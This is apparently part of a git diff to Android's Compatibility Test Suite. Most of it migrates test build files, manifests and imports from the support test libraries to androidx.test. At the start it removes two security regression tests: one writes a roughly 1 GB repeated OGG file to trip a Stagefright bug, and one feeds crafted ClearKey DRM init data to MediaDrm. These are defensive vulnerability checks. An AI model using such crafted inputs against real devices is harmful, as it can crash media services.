-        final File tempFile = File.createTempFile("poc_tmp", ".ogg", null);
-
-        try {
-            final FileOutputStream tempFos = new FileOutputStream(tempFile.getAbsolutePath());
-            int bytesWritten = 0;
-            // Repeat data till size is ~1 GB
-            for (int i = 0; i < 50000; i++) {
-                tempFos.write(blob);
-                bytesWritten += page_size;
-            }
-            tempFos.close();
-
-            final int fileSize = bytesWritten;
-            int timeout = (10 * 60 * 1000);
-
-            runWithTimeout(new Runnable() {
-                @Override
-                public void run() {
-                    try {
-                        doStagefrightTestMediaCodec(tempFile.getAbsolutePath());
-                    } catch (Exception | AssertionError  e) {
-                        if (!tempFile.delete()) {
-                            Log.e(TAG, "Failed to delete temporary PoC file");
-                        }
-                        fail("Operation was not successful");
-                    }
-                }
-            }, timeout);
-        } catch (Exception e) {
-            fail("Failed to test b/36592202");
-        } finally {
-            if (!tempFile.delete()) {
-                Log.e(TAG, "Failed to delete temporary PoC file");
-            }
-        }
-    }
-
-    @SecurityTest
     public void testStagefright_bug_30822755() throws Exception {
         doStagefrightTest(R.raw.bug_30822755);
     }
@@ -670,39 +597,6 @@
     }
 
     @SecurityTest
-    public void testStagefright_bug_37710346() throws Exception {
-        UUID CLEARKEY_SCHEME_UUID = new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
-
-        String drmInitString = "0000003470737368" +
-                               "01000000" +
-                               "1077efecc0b24d02" +
-                               "ace33c1e52e2fb4b" +
-                               "10000001" +
-                               "60061e017e477e87" +
-                               "7e57d00d1ed00d1e" +
-                               "00000000";
-        int len = drmInitString.length();
-        byte[] drmInitData = new byte[len / 2];
-        for (int i = 0; i < len; i += 2) {
-            drmInitData[i / 2] = (byte) ((Character.digit(drmInitString.charAt(i), 16) << 4) +
-                Character.digit(drmInitString.charAt(i + 1), 16));
-        }
-
-        try {
-            MediaDrm drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
-            byte[] sessionId;
-            String initDataType = "video/mp4";
-
-            sessionId = drm.openSession();
-            MediaDrm.KeyRequest drmRequest = drm.getKeyRequest(sessionId, drmInitData,
-                initDataType, MediaDrm.KEY_TYPE_STREAMING, null);
-        } catch (Exception e) {
-            if (!(e instanceof MediaDrmStateException))
-                fail("media drm server died");
-        }
-    }
-
-    @SecurityTest
     public void testStagefright_cve_2015_3873_b_23248776() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_23248776);
     }
diff --git a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
index a3209fc..8d388cc 100644
--- a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
+++ b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
@@ -21,6 +21,7 @@
 import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import com.android.compatibility.common.util.PropertyUtil;
+import com.android.compatibility.common.util.CddTest;
 
 @SecurityTest
 public class VerifiedBootTest extends AndroidTestCase {
@@ -42,6 +43,7 @@
    * A device without the feature flag android.hardware.ram.normal is exempt if
    * it launched on a pre-P level.
    */
+  @CddTest(requirement="9.10/C-1-1,C-2-1")
   public void testVerifiedBootSupport() throws Exception {
     if (PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.O_MR1) {
       return;
diff --git a/tests/tests/selinux/selinuxTargetSdk25/Android.mk b/tests/tests/selinux/selinuxTargetSdk25/Android.mk
index f9bfc95..f0fd064 100755
--- a/tests/tests/selinux/selinuxTargetSdk25/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk25/Android.mk
@@ -20,8 +20,8 @@
 LOCAL_MULTILIB := both
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs android.test.runner.stubs
 
diff --git a/tests/tests/selinux/selinuxTargetSdk25/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdk25/AndroidManifest.xml
index cac36b9..da08049 100755
--- a/tests/tests/selinux/selinuxTargetSdk25/AndroidManifest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk25/AndroidManifest.xml
@@ -26,7 +26,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.selinuxtargetsdk25.cts"
                      android:label="CTS tests for permissions enforce by selinux based on targetSdkVersion">
         <meta-data android:name="listener"
diff --git a/tests/tests/selinux/selinuxTargetSdk27/Android.mk b/tests/tests/selinux/selinuxTargetSdk27/Android.mk
index 37660a3..d839d54 100755
--- a/tests/tests/selinux/selinuxTargetSdk27/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdk27/Android.mk
@@ -20,8 +20,8 @@
 LOCAL_MULTILIB := both
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs android.test.runner.stubs
 
diff --git a/tests/tests/selinux/selinuxTargetSdk27/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdk27/AndroidManifest.xml
index 73b5c2b..d2addf8 100755
--- a/tests/tests/selinux/selinuxTargetSdk27/AndroidManifest.xml
+++ b/tests/tests/selinux/selinuxTargetSdk27/AndroidManifest.xml
@@ -26,7 +26,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.selinuxtargetsdk27.cts"
                      android:label="CTS tests for permissions enforce by selinux based on targetSdkVersion">
         <meta-data android:name="listener"
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk
index 63bc768..6174ec8 100755
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/Android.mk
@@ -20,8 +20,8 @@
 LOCAL_MULTILIB := both
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs android.test.runner.stubs
 
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidManifest.xml b/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidManifest.xml
index ca375a3..bfcf40f 100755
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidManifest.xml
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/AndroidManifest.xml
@@ -26,7 +26,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.selinuxtargetsdkcurrent.cts"
                      android:label="CTS tests for permissions enforce by selinux based on targetSdkVersion">
         <meta-data android:name="listener"
diff --git a/tests/tests/shortcutmanager/Android.mk b/tests/tests/shortcutmanager/Android.mk
index 3982796..56a81a9 100755
--- a/tests/tests/shortcutmanager/Android.mk
+++ b/tests/tests/shortcutmanager/Android.mk
@@ -21,11 +21,11 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/tests/tests/shortcutmanager/AndroidManifest.xml b/tests/tests/shortcutmanager/AndroidManifest.xml
index d69ce5b..29b2e83 100755
--- a/tests/tests/shortcutmanager/AndroidManifest.xml
+++ b/tests/tests/shortcutmanager/AndroidManifest.xml
@@ -55,7 +55,7 @@
             android:exported="false"/>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcutmanager"
         android:label="CTS tests for ShortcutManager">
         <meta-data android:name="listener"
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
index bc7dc18..426bb89 100644
--- a/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
+++ b/tests/tests/shortcutmanager/packages/launchermanifest/Android.mk
@@ -27,11 +27,11 @@
         $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
@@ -57,11 +57,11 @@
         $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
@@ -87,11 +87,11 @@
         $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
index b24debe..b894f13 100644
--- a/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
+++ b/tests/tests/shortcutmanager/packages/launchermanifest_nonshared/Android.mk
@@ -26,11 +26,11 @@
         $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
index e683780..e645177 100644
--- a/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
+++ b/tests/tests/shortcutmanager/packages/packagemanifest/Android.mk
@@ -26,11 +26,11 @@
         $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
@@ -56,11 +56,11 @@
         $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
@@ -86,11 +86,11 @@
         $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
index 51e8165..aa0112a 100644
--- a/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
+++ b/tests/tests/shortcutmanager/packages/packagemanifest_nonshared/Android.mk
@@ -26,11 +26,11 @@
         $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java
index baa47b0..ed737b0 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerFakingPublisherTest.java
@@ -25,10 +25,9 @@
 import android.content.pm.PackageManager.NameNotFoundException;
 import android.content.pm.ShortcutInfo;
 import android.platform.test.annotations.SecurityTest;
-import android.support.test.InstrumentationRegistry;
 import android.test.suitebuilder.annotation.SmallTest;
 
-import org.junit.Assume;
+import androidx.test.InstrumentationRegistry;
 
 /**
  * CTS for b/109824443.
diff --git a/tests/tests/shortcutmanager/throttling/Android.mk b/tests/tests/shortcutmanager/throttling/Android.mk
index 5a174cc..57d0116 100644
--- a/tests/tests/shortcutmanager/throttling/Android.mk
+++ b/tests/tests/shortcutmanager/throttling/Android.mk
@@ -29,11 +29,11 @@
     $(call all-java-files-under, ../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
index 4f097a4..4fef82d 100644
--- a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
+++ b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/AndroidManifest.xml b/tests/tests/simpleperf/CtsSimpleperfDebugApp/AndroidManifest.xml
index b3509c8..9f4a9e2 100644
--- a/tests/tests/simpleperf/CtsSimpleperfDebugApp/AndroidManifest.xml
+++ b/tests/tests/simpleperf/CtsSimpleperfDebugApp/AndroidManifest.xml
@@ -22,5 +22,5 @@
     </application>
     <instrumentation
         android:targetPackage="com.android.simpleperf"
-        android:name="android.support.test.runner.AndroidJUnitRunner" />
+        android:name="androidx.test.runner.AndroidJUnitRunner" />
 </manifest>
\ No newline at end of file
diff --git a/tests/tests/slice/Android.mk b/tests/tests/slice/Android.mk
index ff3ff3b..b440d19 100644
--- a/tests/tests/slice/Android.mk
+++ b/tests/tests/slice/Android.mk
@@ -27,10 +27,10 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
-    ctsdeviceutillegacy \
-    ctstestrunner \
+    androidx.test.rules \
+    compatibility-device-util-axt \
+    ctsdeviceutillegacy-axt \
+    ctstestrunner-axt \
     metrics-helper-lib \
     mockito-target-inline-minus-junit4 \
     platform-test-annotations \
diff --git a/tests/tests/slice/AndroidManifest.xml b/tests/tests/slice/AndroidManifest.xml
index 6ec29bd..6eb21eb 100644
--- a/tests/tests/slice/AndroidManifest.xml
+++ b/tests/tests/slice/AndroidManifest.xml
@@ -50,7 +50,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.slice.cts"
                      android:label="CTS tests of android.slice">
         <meta-data android:name="listener"
diff --git a/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java b/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java
index cbeb73f..8a655cd 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java
@@ -32,8 +32,9 @@
 import android.net.Uri;
 import android.os.Bundle;
 import android.slice.cts.SliceProvider.TestParcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java b/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
index 418e699..89f3ac1 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
@@ -29,8 +29,9 @@
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
index 5823cfb..69d8d80 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
@@ -32,8 +32,9 @@
 import android.content.Intent;
 import android.net.Uri;
 import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
diff --git a/tests/tests/slice/src/android/slice/cts/SliceMetricsTest.java b/tests/tests/slice/src/android/slice/cts/SliceMetricsTest.java
index 64418aa..42287a0 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceMetricsTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceMetricsTest.java
@@ -19,16 +19,17 @@
 import android.metrics.LogMaker;
 import android.metrics.MetricsReader;
 import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.metricshelper.MetricsAsserts;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.internal.logging.nano.MetricsProto.MetricsEvent;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import com.android.internal.logging.nano.MetricsProto.MetricsEvent;
-
 @RunWith(AndroidJUnit4.class)
 public class SliceMetricsTest {
 
diff --git a/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java b/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java
index 4163068..5081943 100644
--- a/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java
@@ -24,8 +24,9 @@
 import android.content.pm.PackageManager.NameNotFoundException;
 import android.net.Uri;
 import android.os.Process;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
diff --git a/tests/tests/slice/src/android/slice/cts/SliceSpecTest.java b/tests/tests/slice/src/android/slice/cts/SliceSpecTest.java
index 8ac9b3e..978dc7c 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceSpecTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceSpecTest.java
@@ -20,7 +20,8 @@
 
 import android.app.slice.SliceSpec;
 import android.os.Parcel;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/speech/Android.mk b/tests/tests/speech/Android.mk
index 7fb9124..24576d6 100755
--- a/tests/tests/speech/Android.mk
+++ b/tests/tests/speech/Android.mk
@@ -22,8 +22,8 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    android-support-test
+    ctstestrunner-axt \
+    androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/speech/AndroidManifest.xml b/tests/tests/speech/AndroidManifest.xml
index cd5d46c..aaa521a 100755
--- a/tests/tests/speech/AndroidManifest.xml
+++ b/tests/tests/speech/AndroidManifest.xml
@@ -33,7 +33,7 @@
 
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.speech.tts.cts"
                      android:label="CTS tests of android.speech">
         <meta-data android:name="listener"
diff --git a/tests/tests/syncmanager/Android.mk b/tests/tests/syncmanager/Android.mk
index 14515dd..ab16ed9 100755
--- a/tests/tests/syncmanager/Android.mk
+++ b/tests/tests/syncmanager/Android.mk
@@ -22,11 +22,11 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     CtsSyncManagerCommon \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/syncmanager/AndroidManifest.xml b/tests/tests/syncmanager/AndroidManifest.xml
index 69ec2a8..a94fa02 100755
--- a/tests/tests/syncmanager/AndroidManifest.xml
+++ b/tests/tests/syncmanager/AndroidManifest.xml
@@ -25,7 +25,7 @@
     <uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
     <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.syncmanager.cts"
         android:label="CTS tests for sync manager">
         <meta-data android:name="listener"
diff --git a/tests/tests/syncmanager/apps/app1/Android.mk b/tests/tests/syncmanager/apps/app1/Android.mk
index cd82ff3..c619fe3 100644
--- a/tests/tests/syncmanager/apps/app1/Android.mk
+++ b/tests/tests/syncmanager/apps/app1/Android.mk
@@ -26,10 +26,10 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     CtsSyncManagerCommon \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
+    compatibility-device-util-axt \
     ub-uiautomator
 
 LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/syncmanager/apps/app2/Android.mk b/tests/tests/syncmanager/apps/app2/Android.mk
index 7ac3a62..50bc2f3 100644
--- a/tests/tests/syncmanager/apps/app2/Android.mk
+++ b/tests/tests/syncmanager/apps/app2/Android.mk
@@ -26,10 +26,10 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     CtsSyncManagerCommon \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
+    compatibility-device-util-axt \
     ub-uiautomator
 
 LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/syncmanager/common/Android.mk b/tests/tests/syncmanager/common/Android.mk
index be91071..c908b19 100644
--- a/tests/tests/syncmanager/common/Android.mk
+++ b/tests/tests/syncmanager/common/Android.mk
@@ -21,10 +21,10 @@
     $(call all-proto-files-under, proto)
 
 LOCAL_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target \
-    compatibility-device-util \
+    compatibility-device-util-axt \
     android.test.runner.stubs
 
 LOCAL_MODULE_TAGS := optional
diff --git a/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java b/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
index c70dcbe..c0db7fb 100644
--- a/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
+++ b/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
@@ -41,11 +41,12 @@
 import android.content.syncmanager.cts.SyncManagerCtsProto.Payload.Response;
 import android.content.syncmanager.cts.SyncManagerCtsProto.Payload.SyncInvocation;
 import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.AmUtils;
 import com.android.compatibility.common.util.BatteryUtils;
 import com.android.compatibility.common.util.OnFailureRule;
@@ -62,9 +63,7 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.model.Statement;
 
-
 // TODO Don't run if no network is available.
-
 @LargeTest
 @RunWith(AndroidJUnit4.class)
 public class CtsSyncManagerTest {
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
index 09ac3314..c68aaf1 100644
--- a/tests/tests/systemintents/Android.mk
+++ b/tests/tests/systemintents/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_PACKAGE_NAME := CtsSystemIntentTestCases
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/systemintents/AndroidManifest.xml b/tests/tests/systemintents/AndroidManifest.xml
index da0cbac..15d9ef6 100644
--- a/tests/tests/systemintents/AndroidManifest.xml
+++ b/tests/tests/systemintents/AndroidManifest.xml
@@ -23,7 +23,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.systemintents.cts"
                      android:label="System intent tests"/>
 </manifest>
\ No newline at end of file
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index f311fb2..f6911b3 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -24,10 +24,10 @@
 import android.content.res.Configuration;
 import android.net.Uri;
 import android.provider.Settings;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index df7e28b..5b519b2 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -27,8 +27,8 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    android-support-test \
+    ctstestrunner-axt \
+    androidx.test.rules \
     ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index bdd6da7..6570661c 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -31,7 +31,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.systemui.cts">
     </instrumentation>
 
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
index dde2ce1..52da2b5 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
@@ -16,7 +16,8 @@
 
 package android.systemui.cts;
 
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
